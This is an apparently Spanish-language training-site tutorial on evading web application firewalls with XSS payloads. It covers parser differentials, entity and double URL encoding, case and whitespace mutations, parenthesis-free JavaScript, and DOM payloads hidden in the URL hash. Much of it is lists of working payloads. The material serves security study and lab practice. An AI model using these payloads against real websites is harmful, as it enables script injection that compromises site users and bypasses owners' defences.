Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoPremium

XSS WAF bypass — encoding, parser differentials, case-only mutations

Técnicas de bypass WAF para XSS: HTML entities, hex/decimal/unicode encoding, parser differentials (browser vs WAF), comments injection, case variations, JS template literals.

Gorka El Bochi11 de mayo de 202616 min

Respuesta rápida

Los WAFs comerciales (Cloudflare, Akamai, AWS WAF, Imperva) bloquean XSS con reglas signature-based: <script, onerror=, alert(, javascript:. Bypass pasa por parser differential (WAF parsea X, browser parsea Y), encoding asimétrico (HTML entities decoded post-WAF), mutaciones de case y whitespace y construcciones JS modernas (template literals, optional chaining, getters). La regla de oro: el WAF mira bytes, el browser ejecuta semántica.


El principio — parser differential

WAF y browser hablan idiomas distintos. El WAF normaliza la request antes de aplicar reglas. El browser parsea después de la normalización del server. Si las dos pipelines difieren en una posición, hay hueco.

PayloadWAF lo ve comoBrowser lo ejecuta
<script>alert(1)</script><script> tag (bloquea)Igual
<scrIpt>alert(1)</scrIpt>Tag legítimo si case-sensitiveEjecuta (HTML es case-insensitive)
<script/x>alert(1)</script>Posible bypass de regex que espera <script>Ejecuta
<svg/onload=alert(1)>El WAF puede no contemplar / como separadorBrowser lo acepta como atributo
<img src=x onerror=alert(1)>BloqueadoBloqueado
<img src=x onerror="alert(1)">IdemIdem
<img src=x onerror=alert\x281\x29>Hex en bytes confunde regexBrowser ejecuta alert(1)

Encoding asimétrico — HTML entities

El browser decoda HTML entities (&#x61;a) dentro del DOM, no en URL params. Si el WAF inspecciona la URL crudo pero el server reflexiona el valor en HTML attribute context, las entities pasan:

ini
<a href="USER_INPUT">

USER_INPUT = javascript&#58;alert&#40;1&#41;

El WAF buscando javascript: no lo ve (javascript&#58;). El browser, al renderizar, decoda → javascript:alert(1) ejecuta.

Variantes de encoding

EncodingEjemploContexto donde decoda
HTML entity decimal&#106;avascript:Attribute value (href, src)
HTML entity hex&#x6a;avascript:Attribute value
HTML entity named&NewLine; (CR)Algunos contextos antiguos
URL encode single%3Cscript%3EURL params decoded por server
URL encode double%253Cscript%253ESi el server decoda 2 veces
Unicode JS escape<script>Dentro de string JS
Hex JS escape\x3cscript\x3eIdem
UTF-7+ADw-script+AD4-XML/IE histórico, casi muerto

Doble decoding trap

Apps que decodan URL params dos veces (Java Spring, algunas Node middlewares mal configuradas):

perl
?q=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E
   ↑ WAF decoda una vez → "%3Cimg%20src%3Dx..." (sin tags ejecutables)
   ↑ Server decoda otra vez → "<img src=x onerror=alert(1)>"

WAF no ve nada peligroso. Server inyecta tag ejecutable.


Mutaciones de case y whitespace

html
<sCRipT>alert(1)</sCRipT>          <!-- Case insensitive en HTML -->
<script\t>alert(1)</script>         <!-- Tab como whitespace -->
<script\r\n>alert(1)</script>       <!-- CRLF -->
<script\x00>alert(1)</script>       <!-- NUL byte (algunos parsers) -->
<script/random=ignored>alert(1)</script>  <!-- Slash + atributo random -->
<script ~='@'>alert(1)</script>     <!-- Whitespace + atributo char raro -->

<svg/onload=alert(1)>               <!-- Slash en vez de espacio -->
<svg onload =alert(1)>              <!-- Espacio antes del = -->
<svg onload	=	alert(1)>            <!-- Tabs alrededor del = -->
<svg onload=&#x61;lert(1)>          <!-- Entity dentro del atributo -->
<svg/onload=alert/**/(1)>           <!-- Comentario JS dentro de la call -->
<svg onload="alert`1`">              <!-- Template literal en vez de paréntesis -->

JS modernas — sin paréntesis ni comillas

WAFs simples bloquean alert(, eval(, ( literal. Bypass con template literals (ES6+):

javascript
alert`1`                    // Llama alert con tagged template
eval`alert\x281\x29`        // Hex escape para los paréntesis
Function`alert\x281\x29```  // IIFE

Sin alert literal:

javascript
top["al"+"ert"](1)          // String concatenation
top["\x61\x6c\x65\x72\x74"](1)
window[/al/.source + /ert/.source](1)
self[atob('YWxlcnQ=')](1)   // base64 decode

Sin paréntesis y sin template literals:

javascript
location='javascript:alert\x281\x29'    // location asignación
onerror=alert;throw 1                    // throw como caller

onerror=alert;throw 1 es uno de los más cortos y bypassea WAFs que buscan alert(.


DOM-level mutations

Cuando el target es DOM XSS (no reflejado server-side), el WAF puede no inspeccionar el fragment # (no se envía al server). Payload completo va en el hash:

php-template
https://target.com/page#<img src=x onerror=alert(1)>

WAF jamás lo ve. Solo se requiere que el JS client-side lea location.hash y lo meta en un sink.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Practica esto en un lab

Cloudflare Waf Bypass

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados